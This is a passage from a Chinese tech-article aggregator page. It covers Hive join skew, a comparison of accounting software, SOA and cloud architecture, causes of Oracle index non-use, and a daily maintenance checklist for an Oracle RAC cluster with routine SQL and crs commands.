7)   额外提一下,当reduce检测A表的记录时,还要记录A表同一个key的记录的条数,当发现同一个key的记录个数超过hive.skewjoin.key的值(默认为1000000)时,会在reduce的日志中打印出该key,并标记为倾斜的关联键。

 

最终得出的结论是:写在关联左侧的表每有1条重复的关联键时底层就会多1次运算处理。

 

假设A表有一千万个id,平均每个id有3条重复值,那么把A表放在前面做关联就会多做三千万次的运算处理,这时候谁写在前谁写在后就看出性能的差别来了。



已有 0人发表留言,猛击->> 这里<<-参与讨论


ITeye推荐



有哪些比较流行的会计信息系统,它们之间的区别是什么?

$
0
0
题目的局限是「会计信息系统」,那么就单纯的从这个角度来说一下。

首先,目前比较流行的,大概就如下三种吧:
1、金蝶&用友:作为国产化通用会计信息系统的软件,操作方便,被广大小会计所熟知
2、SAP&Oracle:作为国际两大ERP巨头的产品,以功能强大和界面丑陋而著称。当然,会计系统指的主要还是这两者内的财务模块
3、其他:主要是一些行业专门的会计信息软件,由于不具有普适性,所以不参与本次讨论,打个酱油。

那么,我们对于「会计信息系统」有哪些要求呢?当然,要求也是分等级的
一、基础要求
1、操作便利:熟练使用的人可以又快又好的录凭证、做月结等工作
2、成熟稳定:不会出现各种BUG
3、查询方便:包括数据查询和出具报表两部分
二、高级要求
1、通用性强:可以适用于各种业务类型、各种行业
2、扩展性强:可以对接多种外围系统,从外围系统中导入财务信息
3、自动化:通过既定的规则,自动生成相应的会计凭证,自动出具相应的管理报表
4、预算管理:这也是一块比较重要的功能

基于以上描述,那么主要的区别在于:
1、金蝶用友的操作性明显优于S&O,更接地气,更符合财务的纸质记账习惯
2、查询功能,金蝶和用友的查询速度更快,使用更方便
3、金蝶和用友的扩展性和开放性,远逊于S&O
4、通用性:S&O的通用性更强,但是需要有经验的实施顾问来做实施,才可以更铁盒企业实际
5、自动化:S&O如果配置做的足够好,业务流程的规划足够细,实施的模块足够全,完全可以做到财务不用录入任何的凭证,每个月就审审单子,出出报表,把绝大部分的精力放在数据分析和财务控制上;而金蝶和用友,应该还做不到这一点
6、预算控制:这一块SAP我不太了解,O做的不太好,预算管理的功能很初级。一般企业还是用专门的绩效管理和预算管理软件来做,会用到财务软件的数据,但是不会用财务软件来管。

随便瞎写的,基本就这些

— 完 —
本文作者: 知乎用户(登录查看详情)

【知乎日报】 你都看到这啦,快来点我嘛 Σ(▼□▼メ)

此问题还有 11 个回答,查看全部。
延伸阅读:
Quora 的信息流和知乎的信息流有什么不同,它们是如何流动的?
怎样把信息转化成知识?

再谈SOA和云架构设计的一些要点

$
0
0
对于SOA和云架构设计方面的内容,前面已经有很多文章涉及到,在这里再重点谈下SOA和云架构设计和传统EA企业架构和单业务系统架构设计之间的一些区别和联系。

SOA和云架构设计更多的是在企业架构的应用架构和技术架构层面,然后才过渡到单个应用的架构设计约束,因此也可以理解为是传统软件架构设计更加上层的一个内容。SOA和云架构设计更加确切点来说应该是基于SOA和云计算思想的架构设计改进,而不是对面向对象架构设计思想的否定。

SOA思想强调的解耦,解耦思想最终落实到架构设计中是业务能力组件化,组件间的交互通过服务接口进行,粗粒度的服务本身就体现了松耦合,解耦不仅仅是组件的应用层,还包括了数据库和数据层都能够自成一套可以独立进行需求,设计,开发,测试和运维的全生命周期管理。另外为了最大限度的解耦,还需要借助消息中间件或服务总线,还需要考虑尽可能将同步服务转换为异步服务设计。

SOA思想强调的粗粒度,在架构设计中需要考虑的是不同的业务系统,组件或模块间只需要暴露需要暴露的服务能力而高内聚的屏蔽内部的数据和业务的复杂性。同时组件之间的交互要尽可能的减少传统意义上的数据库层的数据集成,数据集成和同步一方面是数据多点落地带来的数据实时性和一致性方面的问题,一方面是数据的集成同步导致大量组件内部逻辑外泄。同时尽量在架构设计过程中遵循领域设计和建模的思路,即在数据库上抽象领域对象层,以屏蔽底层数据模型细节。

SOA思想强调的可复用,在传统的架构设计中本身就有一个重要步骤即可复用的组件的抽取,可复用的组件朝外提供的服务能力自然也是可复用的服务,这是其一。传统架构设计中进行完模块和组件划分后,需要考虑组件之间的接口设计,那么在接口设计中需要考虑接口本身的服务化设计,接口本身的可复用性设计。对于底层技术组件或共享数据组件的可复用大家比较容易理解,而对于业务服务的可复用重点则在于可以复用到多个不同的业务场景或业务流程中服务的组合和组装。

SOA思想强调的服务本身的灵活组合和组装,这个内容往往偏EA架构设计层面的内容,即需要从端到端的业务流程层面来识别和分析服务。传统的架构设计往往关注的是一个个核心用例功能点,而服务组装编排关注的则是跨多个业务功能点的流程协同。提出这个的原因也正是,当我们在企业内规划和建设一个全新的系统时候,务必先考虑该系统在整个企业应用架构体系中的位置,该系统和其它业务系统间的横向纵向业务系统关系,然后再过渡到系统内架构设计。

对于单个系统,前面专门有文章谈过基于SOA的架构设计要点,这里再重点描述下即,单个系统能够组件化设计,组件之间能够做到从数据库到应用层相对独立,组件之间只能通过服务接口交互,这个重点解决了组件间的横向协同问题;其次,单个组件的设计建议的方法还是遵循领域建模的思路,最好是在原来的分层技术架构上,增加专门的服务层,即对于单个组件纵向来说也通过服务层来实现底层领域服务逻辑和上层界面展现和服务组装的分离。对于组件纵向可以采用传统API服务接口,而对于组件横向则采用WebService接口来实现进一步的解耦。

从以上分析来说,当我们谈到SOA架构设计的时候,不要一开始就被消息中间件,ESB服务总线等内容误导,如果没有充分的考虑SOA思想内涵并在传统的架构设计中引入SOA思想,那么即使采用了ESB服务总线最终也可能只起到了简单的接口平台的作用。

接着谈下云的思想,云思想的核心是终端能力朝云端的迁移,即集中化。SOA虽然强调了复用,但是这个复用可能还是在原来单个业务系统内部建设,然后再将服务能力共享出来,而云的思想更多的则考虑建设都不在传统的单个系统内部了,而应该集中化建设,能力集中提供,这个集中化提供的地方即平台。基于这个思想需要注意到的就是对于传统的软件架构设计而言,由于关注的是单个业务系统,可复用的组件或能力还在系统内部,而到了云架构设计阶段,关注的是企业内整个应用和技术架构体系,因此这些可复用的内容从传统的系统内转化到了完全的系统外,这个是云架构设计思想下很重要的一个转变,即准备有了完全独立于系统外的可为多个业务系统提供服务能力的云平台。这个云平台不是简单的IaaS平台,而更多是PaaS层面的流程平台,数据平台,集成平台,技术平台等。

云思想强调无限伸缩,对应到架构设计中即可扩展性,对于传统的架构设计我们更加关注的是组件或接口本身的技术可扩展性,而比较少关注业务系统本身所对应的IT基础设施或平台本身的资源弹性伸缩扩展性,这个在架构设计中也是可以考虑引入的,包括各种分布式存储,分布式处理和计算,数据拆分,对PaaS资源托管平台的统一接入和适配等。

最后,在涉及到云架构设计的时候,需要考虑多租户设计,多租户设计和传统架构设计中的多组织设计还有些区别,租户往往有更加严格的资源隔离和资源流量控制要求,而不仅仅是数据访问上的隔离。还有就是在基于云架构设计中,需要重点考虑自服务模式,即围绕服务全生命周期的管控来考虑云的能力的服务化提供。
  青春就应该这样绽放   游戏测试:三国时期谁是你最好的兄弟!!   你不得不信的星座秘密

索引失效原因总结(转载)

$
0
0

今天一个同事突然问我索引为什么失效。说实在的,失效的原因有多种:

但是如果是同样的sql如果在之前能够使用到索引,那么现在使用不到索引,以下几种主要情况:

1. 随着表的增长,where条件出来的数据太多,大于15%,使得索引失效(会导致CBO计算走索引花费大于走全表)

2. 统计信息失效      需要重新搜集统计信息

3. 索引本身失效      需要重建索引

下面是一些不会使用到索引的原因

索引失效
1) 没有查询条件,或者查询条件没有建立索引
2) 在查询条件上没有使用引导列
3) 查询的数量是大表的大部分,应该是30%以上。
4) 索引本身失效
5) 查询条件使用函数在索引列上(见12)
6) 对小表查询
7) 提示不使用索引
8) 统计数据不真实
9) CBO计算走索引花费过大的情况。其实也包含了上面的情况,这里指的是表占有的block要比索引小。
10)隐式转换导致索引失效.这一点应当引起重视.也是开发中经常会犯的错误. 由于表的字段tu_mdn定义为varchar2(20),
但在查询时把该字段作为number类型以where条件传给Oracle,这样会导致索引失效.
错误的例子:select * from test where tu_mdn=13333333333;
正确的例子:select * from test where tu_mdn='13333333333';
11)对索引列进行运算导致索引失效,我所指的对索引列进行运算包括(+,-,*,/,! 等)
错误的例子:select * from test where id-1=9;
正确的例子:select * from test where id=10;
12)使用Oracle内部函数导致索引失效.对于这样情况应当创建基于函数的索引.
错误的例子:select * from test where round(id)=10;
说明,此时id的索引已经不起作用了 正确的例子:首先建立函数索引,
create index test_id_fbi_idx on test(round(id));
然后 select * from test where round(id)=10; 这时函数索引起作用了 1,<> 2,单独的>,<,(有时会用到,有时不会)
3,like "%_" 百分号在前.
4,表没分析.
5,单独引用复合索引里非第一位置的索引列.
6,字符型字段为数字时在where条件里不添加引号.
7,对索引列进行运算.需要建立函数索引.
8,not in ,not exist.
9,当变量采用的是times变量,而表的字段采用的是date变量时.或相反情况。
10, 索引失效。
11,基于cost成本分析(oracle因为走全表成本会更小):查询小表,或者返回值大概在10%以上
12,有时都考虑到了 但就是不走索引,drop了从建试试在
13,B-tree索引 is null不会走,is not null会走,位图索引 is null,is not null 都会走
14,联合索引 is not null 只要在建立的索引列(不分先后)都会走,
in null时 必须要和建立索引第一列一起使用,当建立索引第一位置条件是is null 时,
其他建立索引的列可以是is null(但必须在所有列 都满足is null的时候),
或者=一个值;当建立索引的第一位置是=一个值时,其他索引列可以是任何情况(包括is null =一个值),
以上两种情况索引都会走。其他情况不会走。

原帖地址:http://blog.csdn.net/colin_liu2009/article/details/7301089



已有 0人发表留言,猛击->> 这里<<-参与讨论


ITeye推荐



新接手一个双节点rac后,日常维护时要注意的地方

$
0
0
在Oracle数据库运行期间,DBA应该对数据库的运行日志及表空间的使用情况进行监控,及早发现数据库中存在的问题。
一、Oracle警告日志文件监控
Oracle在运行过程中,会在警告日志文件(alert_SID.log)中记录数据库的一些运行情况:
●数据库的启动、关闭,启动时的非缺省参数;
●数据库的重做日志切换情况,记录每次切换的时间,及如果因为检查点(checkpoint)操作没有执行完成造成不能切换,会记录不能
切换的原因;
●对数据库进行的某些操作,如创建或删除表空间、增加数据文件;
●数据库发生的错误,如表空间不够、出现坏块、数据库内部错误(ORA-600)
DBA应该定期检查日志文件,根据日志中发现的问题及时进行处理
问题处理
启动参数不对检查初始化参数文件
因为检查点操作或归档操作没有完成造成重做日志不能切换如果经常发生这样的情况,可以考虑增加重做日志文件组;想办法提高检
查点或归档操作的效率;
有人未经授权删除了表空间检查数据库的安全问题,是否密码太简单;如有必要,撤消某些用户的系统权限
出现坏块检查是否是硬件问题(如磁盘本生有坏块),如果不是,检查是那个数据库对象出现了坏块,对这个对象进行重建
表空间不够增加数据文件到相应的表空间
出现ORA-600根据日志文件的内容查看相应的TRC文件,如果是Oracle的bug,要及时打上相应的补丁
二、数据库表空间使用情况监控(字典管理表空间)
数据库运行了一段时间后,由于不断的在表空间上创建和删除对象,会在表空间上产生大量的碎片,DBA应该及时了解表空间的碎片
和可用空间情况,以决定是否要对碎片进行整理或为表空间增加数据文件。
select tablespace_name,
count(*) chunks ,
max(bytes/1024/1024) max_chunk
from dba_free_space
group by tablespace_name;
上面的SQL列出了数据库中每个表空间的空闲块情况,如下所示:
TABLESPACE_NAME CHUNKS MAX_CHUNK
-------------------- ---------- ----------
INDX 1 57.9921875
RBS 3 490.992188
RMAN_TS 1 16.515625
SYSTEM 1 207.296875
TEMP 20 70.8046875
TOOLS 1 11.8359375
USERS 67 71.3671875
其中,CHUNKS列表示表空间中有多少可用的空闲块(每个空闲块是由一些连续的Oracle数据块组成),如果这样的空闲块过多,比如平
均到每个数据文件上超过了100个,那么该表空间的碎片状况就比较严重了,可以尝试用以下的SQL命令进行表空间相邻碎片的接合:
alter tablespace 表空间名 coalesce;
然后再执行查看表空间碎片的SQL语句,看表空间的碎片有没有减少。如果没有效果,并且表空间的碎片已经严重影响到了数据库的
运行,则考虑对该表空间进行重建。
MAX_CHUNK列的结果是表空间上最大的可用块大小,如果该表空间上的对象所需分配的空间(NEXT值)大于可用块的大小的话,就会提
示ORA-1652、ORA-1653、ORA-1654的错误信息,DBA应该及时对表空间的空间进行扩充,以避免这些错误发生。
对表空间的扩充对表空间的数据文件大小进行扩展,或向表空间增加数据文件,具体操作见“存储管理”部份。
三、查看数据库的连接情况
DBA要定时对数据库的连接情况进行检查,看与数据库建立的会话数目是不是正常,如果建立了过多的连接,会消耗数据库的资源。
同时,对一些“挂死”的连接,可能会需要DBA手工进行清理。
以下的SQL语句列出当前数据库建立的会话情况:
select sid,serial#,username,program,machine,status
from v$session;
输出结果为:
SID SERIAL# USERNAME PROGRAM MACHINE STATUS
---- ------- ---------- ----------- --------------- --------
1 1 ORACLE.EXE WORK3 ACTIVE
2 1 ORACLE.EXE WORK3 ACTIVE
3 1 ORACLE.EXE WORK3 ACTIVE
4 1 ORACLE.EXE WORK3 ACTIVE
5 3 ORACLE.EXE WORK3 ACTIVE
6 1 ORACLE.EXE WORK3 ACTIVE
7 1 ORACLE.EXE WORK3 ACTIVE
8 27 SYS SQLPLUS.EXE WORKGROUP\WORK3 ACTIVE
11 5 DBSNMP dbsnmp.exe WORKGROUP\WORK3 INACTIVE
其中,
SID 会话(session)的ID号;
SERIAL# 会话的序列号,和SID一起用来唯一标识一个会话;
USERNAME 建立该会话的用户名;
PROGRAM 这个会话是用什么工具连接到数据库的;
STATUS 当前这个会话的状态,ACTIVE表示会话正在执行某些任务,INACTIVE表示当前会话没有执行任何操作;
如果DBA要手工断开某个会话,则执行:
alter system kill session 'SID,SERIAL#';
注意,上例中SID为1到7(USERNAME列为空)的会话,是Oracle的后台进程,不要对这些会话进行任何操作。
四、控制文件的备份
在数据库结构发生变化时,如增加了表空间,增加了数据文件或重做日志文件这些操作,都会造成Oracle数据库控制文件的变化,
DBA应及进行控制文件的备份,备份方法是:
执行SQL语句:
alter database
backup controlfile to '/home/backup/control.bak';
或:
alter database
backup controlfile to trace;
这样,会在USER_DUMP_DEST(初始化参数文件中指定)目录下生成创建控制文件的SQL命令。
五、检查数据库文件的状态
DBA要及时查看数据库中数据文件的状态(如被误删除),根据实际情况决定如何进行处理,检查数据文件的状态的SQL如下:
select file_name,status
from dba_data_files;
如果数据文件的STATUS列不是AVAILABLE,那么就要采取相应的措施,如对该数据文件进行恢复操作,或重建该数据文件所在的表空
间。
六、检查数据库定时作业的完成情况
如果数据库使用了Oracle的JOB来完成一些定时作业,要对这些JOB的运行情况进行检查:
select job,log_user,last_date,failures
from dba_jobs;
如果FAILURES列是一个大于0的数的话,说明JOB运行失败,要进一步的检查。
七、数据库坏块的处理
当Oracle数据库出现坏块时,Oracle会在警告日志文件(alert_SID.log)中记录坏块的信息:
ORA-01578: ORACLE data block corrupted (file # 7, block #)
ORA-01110: data file: '/oracle1/oradata/V920/oradata/V816/users01.dbf'
其中,代表坏块所在数据文件的绝对文件号,代表坏块是数据文件上的第几个数据块
出现这种情况时,应该首先检查是否是硬件及操作系统上的故障导致Oracle数据库出现坏块。在排除了数据库以外的原因后,再对发
生坏块的数据库对象进行处理。
1.确定发生坏块的数据库对象
SELECT tablespace_name,
segment_type,
owner,
segment_name
FROM dba_extents
WHERE file_id =
AND
between block_id AND block_id+blocks-1;
2.决定修复方法
如果发生坏块的对象是一个索引,那么可以直接把索引DROP掉后,再根据表里的记录进行重建;
如果发生坏块的表的记录可以根据其它表的记录生成的话,那么可以直接把这个表DROP掉后重建;
如果有数据库的备份,则恢复数据库的方法来进行修复;
如果表里的记录没有其它办法恢复,那么坏块上的记录就丢失了,只能把表中其它数据块上的记录取出来,然后对这个表进行重建。
3.用Oracle提供的DBMS_REPAIR包标记出坏块
exec DBMS_REPAIR.SKIP_CORRUPT_BLOCKS('','');
4.使用Create table as select命令将表中其它块上的记录保存到另一张表上
create table corrupt_table_bak
as
select * from corrupt_table;
5.用DROP TABLE命令删除有坏块的表
drop table corrup_tatble;
6.用alter table rename命令恢复原来的表
alter table corrupt_table_bak
rename to corrupt_table;
7.如果表上存在索引,则要重建表上的索引
八、操作系统相关维护
DBA要注意对操作系统的监控:
●文件系统的空间使用情况(df -k),必要时对Oracle的警告日志及TRC文件进行清理
●如果Oracle提供网络服务,检查网络连接是否正常
●检查操作系统的资源使用情况是否正常
●检查数据库服务器有没有硬件故障,如磁盘、内存报错
常用命令
crs
最常用命令:
crs_stat –t          以缩略形式查看crs状态
crs_start –all        启动crs所有资源
crs_stop –all        停止crs所有资源
        crsctl start resources  启动crs所有资源(比crs_start层次深)
        crsctl stop resources  停止crs所有资源(比crs_start层次深)
        crsctl start crs       启动crs
        crsctl start crs       停止crs
查看当前数据库状态
select instance_number, instance_name ,host_name, version, status from v$instance;
查看表空间使用情况
select a.tablespace_name,nvl(sum(a.bytes),0)/1024/1024 total_space,
nvl(sum(b.bytes),0)/1024/1024 free_space
from dba_data_files a,dba_free_space b
where a.tablespace_name=b.tablespace_name
group by a.tablespace_name;
每天维护工作
1.检查crs状态
  命令使用示例: 主机名:db1/db2  State为online为正常
# /opt/oracle/product/10.2/crs/bin/crs_stat -t
Name           Type           Target    State     Host       
------------------------------------------------------------
ora....SM1.asm application    ONLINE    ONLINE    db1        
ora....B1.lsnr application    ONLINE    ONLINE    db1        
ora.db1.gsd    application    ONLINE    ONLINE    db1        
ora.db1.ons    application    ONLINE    ONLINE    db1        
ora.db1.vip    application    ONLINE    ONLINE    db1        
ora....SM2.asm application    ONLINE    ONLINE    db2        
ora....B2.lsnr application    ONLINE    ONLINE    db2        
ora.db2.gsd    application    ONLINE    ONLINE    db2        
ora.db2.ons    application    ONLINE    ONLINE    db2        
ora.db2.vip    application    ONLINE    ONLINE    db2        
ora.orcl.db    application    ONLINE    ONLINE    db1        
ora....l1.inst application    ONLINE    ONLINE    db1        
ora....l2.inst application    ONLINE    ONLINE    db2       
2.检查数据库状态  sid=orcl1  status为open是正常
   
SQL> select instance_number, instance_name ,host_name, version, status from v$instance;
INSTANCE_NUMBER INSTANCE_NAME    HOST_NAME                                                        VERSION          
STATUS                                                                                                              
                                                                  
--------------- ---------------- ---------------------------------------------------------------- -----------------
------------                                                                                                        
                                                                  
              1 orcl1            db1                                                          10.2.0.1.0        OPEN
                  
3.检查监听程序状态 
$ lsnrctl status
LSNRCTL for IBM/AIX RISC System/6000: Version 10.2.0.3.0 - Production on 27-AUG-2007 11:06:50
Copyright (c) 1991, 2006, Oracle.  All rights reserved.
Connecting to (ADDRESS=(PROTOCOL=tcp)(HOST=)(PORT=1521))
STATUS of the LISTENER
------------------------
Alias                     LISTENER
Version                   TNSLSNR for IBM/AIX RISC System/6000: Version 10.2.0.3.0 - Production
Start Date                15-JUN-2007 16:13:58
Uptime                    72 days 18 hr. 52 min. 52 sec
Trace Level               off
Security                  ON: Local OS Authentication
SNMP                      ON
Listener Parameter File   /opt/oracle/product/10.2/db_1/network/admin/listener.ora
Listener Log File         /opt/oracle/product/10.2/db_1/network/log/listener.log
Listening Endpoints Summary...
  (DESCRIPTION=(ADDRESS=(PROTOCOL=tcp)(HOST=hldzjdb01)(PORT=1521)))
Services Summary...
Service "+ASM" has 1 instance(s).
  Instance "+ASM1", status BLOCKED, has 1 handler(s) for this service...
Service "+ASM_XPT" has 1 instance(s).
  Instance "+ASM1", status BLOCKED, has 1 handler(s) for this service...
Service "hljdb" has 1 instance(s).
  Instance "hljdb1", status READY, has 1 handler(s) for this service...
Service "hljdb1XDB" has 1 instance(s).
  Instance "hljdb1", status READY, has 1 handler(s) for this service...
Service "hljdb_XPT" has 1 instance(s).
  Instance "hljdb1", status READY, has 1 handler(s) for this service...
The command completed successfully
4.检查oracle 警告日志(在ORACLE_BASE/ADMIN/SID/BDUMP/ALTER_SID.LOG)中是否有报错,如果有报错进行检查,并且进行处理
操作以下以orcl1为sid作例)
su – oracle
$ cd $ORACLE_BASE/admin/orcl1/bdump
$ ls al*
alert_db1.log
$ more alert_orcl1.log
然后对显示内容进行查看即可,按空格翻页
5.检查监听日志(在ORACLE_HOME/NETWORK/LOG/)检查是否有报错
操作:
$ cd $ORACLE_HOME/network/log 
$ ls
listener.log            listener_db1.log  sqlnet.log
$ more listener.log
然后对显示内容进行查看即可,按空格翻页
6.数据库运行过程中是否有异常的数据库启动停止
操作以下以orcl1为sid作例)
su – oracle
$ cd $ORACLE_BASE/admin/hljdb/bdump
$ ls al*
alert_orcl1.log
$ more alert_hljdb1.log
查看日志中是否有
ALTER DATABASE OPEN
This instance was first to open
内容显示,确认显示的时间确实是数据库手工启动的时间
查看日志中是否有
Completed: ALTER DATABASE CLOSE NORMAL
内容显示,确认显示的时间是否是数据库手工关闭的时间


转自:http://zhangyafeng0917.blog.163.com/blog/static/44436412201161111363478/

已有 0人发表留言,猛击->> 这里<<-参与讨论


ITeye推荐



Viewing all 15843 articles
Browse latest View live


<script src="https://jsc.adskeeper.com/r/s/rssing.com.1596347.js" async> </script>